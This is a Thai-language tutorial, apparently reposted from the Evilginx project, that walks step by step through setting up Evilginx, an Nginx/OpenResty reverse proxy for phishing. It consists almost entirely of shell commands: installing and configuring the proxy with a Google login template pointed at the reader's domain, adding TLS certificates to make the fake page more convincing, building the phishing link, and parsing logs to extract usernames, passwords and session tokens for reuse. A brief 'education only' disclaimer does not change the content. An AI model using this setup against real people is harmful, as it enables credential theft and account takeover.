Evliginx เป็นเครื่องมือที่ดัดแปลง Nginx HTTP Proxy Module มาทำเครื่องมือสำหรับการทำ Security Awareness Training อย่าง Phishing นั่นเอง
(ทั้งหมดนี้เพื่อการศึกษาเท่านั้นไม่แนะนำให้นำไปใช้จริงเป็นอันขาด)
1. . Install prerequisites package
1 |
apt-get -y install make gcc libpcre3-dev libssl-dev |
2. Install nginx
1 |
apt-get install nginx |
3. Download และติดตั้ง OpenResty
1 2 3 4 5 |
mkdir dev cd dev wget https://openresty.org/download/openresty-1.11.2.2.tar.gz tar zxvf openresty-1.11.2.2.tar.gz cd openresty-1.11.2.2 |
4. Compile OpenResty ด้วย option ที่ระบุไปยัง environment ของ Nginx
1 |
./configure --user=www-data --group=www-data --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --conf-path=/etc/nginx/nginx.conf --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --pid-path=/var/run/nginx.pid --lock-path=/var/run/nginx.lock --with-http_ssl_module --with-pcre --with-http_sub_module --with-luajit |
5. Install OpenResty
1 2 |
make make install |
6. ตรวจสอบว่า Nginx ใช้งานร่วมกับ OpenResty หรือยัง ใช้คำสั่ง
1 |
nginx -v |
ควรจะได้ผลลัพธ์เป็น Nginx + OpenResty
7. สร้าง startup script ของ nginx
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
cat <<EOF > /etc/systemd/system/nginx.service [Unit] Description=The NGINX HTTP and reverse proxy server After=syslog.target network.target remote-fs.target nss-lookup.target [Service] Type=forking PIDFile=/run/nginx.pid ExecStartPre=/usr/sbin/nginx -t ExecStart=/usr/sbin/nginx ExecReload=/bin/kill -s HUP $MAINPID ExecStop=/bin/kill -s QUIT $MAINPID PrivateTmp=true [Install] WantedBy=multi-user.target EOF |
8. Download evilginx source code จาก Github
1 2 3 4 |
mkdir tools cd tools git clone https://github.com/kgretzky/evilginx cd evilginx |
9. Edit nginx.conf แล้วเพิ่ม
1 |
include /etc/nginx/sites-enabled/*; |
10. สร้าง folder สำหรับเก็บ reference ในการ enable VirtualHost
1 |
mkdir /etc/nginx/sites-available/ /etc/nginx/sites-enabled/ |
11. Copy Nginx Site Configuration ของ Evilginx ไปยัง Nginx
1 2 3 |
cp ./sites/evilginx-google-template.conf /etc/nginx/sites-available/evilginx-google.conf sed -i 's/{{PHISH_DOMAIN}}/<domain ของเรา>/g' /etc/nginx/sites-available/evilginx-google.conf ln -s /etc/nginx/sites-available/evilginx-google.conf /etc/nginx/sites-enabled/ |
12. เพื่อให้ความเนียนมากขึ้น จึงติดตั้ง Let’s Encrypt ด้วย
1 |
apt-get install letsencrypt |
13. สร้าง cert
1 |
certbot certonly --standalone -d apt.techsuii.com -d accounts.apt.techsuii.com |
14. Start nginx service
1 |
systemctl start nginx |
15. จากนั้นทดสอบใช้งานด้วยการใช้เป็น
1 |
https://<your-account>/ServiceLogin?rc=http://<link ของ Google> เช่น gmail, yahoo, google เองก็ตาม |
16. Parsing Log ที่ทำไว้ โดยใช้ evilginx_parser.py
1 |
./evilginx_parser.py -i /var/log/evilginx-google.log -o test.log -c google.creds |
17. จากนั้นเราจะได้ folder test.log ซึ่งเก็บทั้ง username, password และ session ที่เราสามารถนำไปใช้ได้อยู่ครับ
Source:: Evilginx